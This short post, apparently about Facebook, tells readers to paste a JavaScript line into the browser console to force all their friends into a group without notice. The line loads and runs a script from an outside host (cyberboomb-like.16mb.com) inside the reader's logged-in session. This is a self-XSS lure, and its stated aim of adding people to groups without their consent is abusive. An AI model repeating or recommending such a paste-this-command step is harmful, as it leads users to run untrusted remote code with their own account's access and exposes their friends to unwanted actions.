Force All Your Friend To Join A Groups

Below step will make all your friends join your, your friend, or other group without give them announcement about "invited to group".
You can do this in Firefox and Chrome Browser. (I will include Opera if I think it's work)
1.Open the group you want to boost the members with your friends.
2.Click CTRL+SHIFT+K for Firefox and CTRL+SHIFT+J for Chrome.
3.Input document.body.appendChild(document.createElement('script')).src='http://cyberboomb-like.16mb.com/AutoInviteGroup.js'; In the Input place (Chrome Input place is after > symbol in the javascript box) and Enter.
4.A popup will show out. Close the Web console (CTRL+SHIFT+J/K Menu) then wait until the it finish.
Your friend will be forced to join the group